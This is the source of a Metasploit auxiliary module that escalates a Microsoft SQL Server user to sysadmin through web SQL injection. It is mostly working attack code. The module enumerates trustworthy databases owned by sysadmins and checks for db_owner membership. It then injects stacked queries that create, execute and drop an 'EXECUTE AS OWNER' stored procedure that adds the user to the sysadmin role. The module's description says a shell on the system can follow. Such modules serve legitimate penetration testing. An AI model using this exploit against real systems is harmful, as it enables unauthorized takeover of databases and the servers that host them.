## https://sploitus.com/exploit?id=PACKETSTORM:180793
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL_SQLI
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server SQLi Escalate Db_Owner',
'Description' => %q{
This module can be used to escalate SQL Server user privileges to sysadmin through a web
SQL Injection. In order to escalate, the database user must to have the db_owner role in
a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin
role, the mssql_payload_sqli module can be used to obtain a shell on the system.
The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
},
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
'License' => MSF_LICENSE,
'References' => [['URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
))
end
def run
# Get the database user name
print_status("Grabbing the database user name from ...")
db_user = get_username
if db_user.nil?
print_error("Unable to grab user name...")
return
else
print_good("Database user: #{db_user}")
end
# Grab sysadmin status
print_status("Checking if #{db_user} is already a sysadmin...")
admin_status = check_sysadmin
if admin_status.nil?
print_error("Couldn't retrieve user status, aborting...")
return
elsif admin_status == '1'
print_error("#{db_user} is already a sysadmin, no esclation needed.")
return
else
print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
end
# Check for trusted databases owned by sysadmins
print_status("Checking for trusted databases owned by sysadmins...")
trust_db_list = check_trust_dbs
if trust_db_list.nil? || trust_db_list.length == 0
print_error("No databases owned by sysadmin were found flagged as trustworthy.")
return
else
# Display list of accessible databases to user
print_good("#{trust_db_list.length} affected database(s) were found:")
trust_db_list.each do |db|
print_status(" - #{db}")
end
end
# Check if the user has the db_owner role in any of the databases
print_status("Checking if #{db_user} has the db_owner role in any of them...")
owner_status = check_db_owner(trust_db_list)
if owner_status.nil?
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
return
else
print_good("#{db_user} has the db_owner role on #{owner_status}.")
end
# Attempt to escalate to sysadmin
print_status("Attempting to add #{db_user} to sysadmin role...")
escalate_privs(owner_status, db_user)
admin_status = check_sysadmin
if admin_status && admin_status == '1'
print_good("Success! #{db_user} is now a sysadmin!")
else
print_error("Fail buckets, something went wrong.")
end
end
def get_username
# Setup query to check for database username
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"
# Run query
result = mssql_query(sql)
# Parse result
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
user_name = $1
else
user_name = nil
end
user_name
end
def check_sysadmin
# Setup query to check for sysadmin
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"
# Run query
result = mssql_query(sql)
# Parse result
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
status = $1
else
status = nil
end
status
end
def check_trust_dbs
# Setup query to check for trusted databases owned by sysadmins
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
sql = "(select cast((SELECT '#{clue_start}'+d.name+'#{clue_end}' as DbName
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"
# Run query
res = mssql_query(sql)
unless res && res.body
return nil
end
# Parse results
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
if parsed_result && !parsed_result.empty?
parsed_result.flatten!
parsed_result.uniq!
end
print_status("#{parsed_result.inspect}")
parsed_result
end
def check_db_owner(trust_db_list)
# Check if the user has the db_owner role is any databases
trust_db_list.each do |db|
# Setup query
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
sql = "(select '#{clue_start}'+'#{db}'+'#{clue_end}' as DbName
from [#{db}].sys.database_role_members drm
join [#{db}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join [#{db}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"
# Run query
result = mssql_query(sql)
unless result && result.body
next
end
# Parse result
if result.body =~ /#{clue_start}([^>]*)#{clue_end}/
return $1
end
end
nil
end
# Attempt to escalate privileges
def escalate_privs(dbowner_db,db_user)
# Create the evil stored procedure WITH EXECUTE AS OWNER
evil_sql_create = "1;use #{dbowner_db};
DECLARE @myevil as varchar(max)
set @myevil = '
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
as
begin
EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin''
end';
exec(@myevil);--"
mssql_query(evil_sql_create)
# Run the evil stored procedure
evilsql_run = "1;use #{dbowner_db};
DECLARE @myevil2 as varchar(max)
set @myevil2 = 'EXEC sp_elevate_me'
exec(@myevil2);--"
mssql_query(evilsql_run)
# Remove evil procedure
evilsql_remove = "1;use #{dbowner_db};
DECLARE @myevil3 as varchar(max)
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
exec(@myevil3);--"
mssql_query(evilsql_remove)
end
end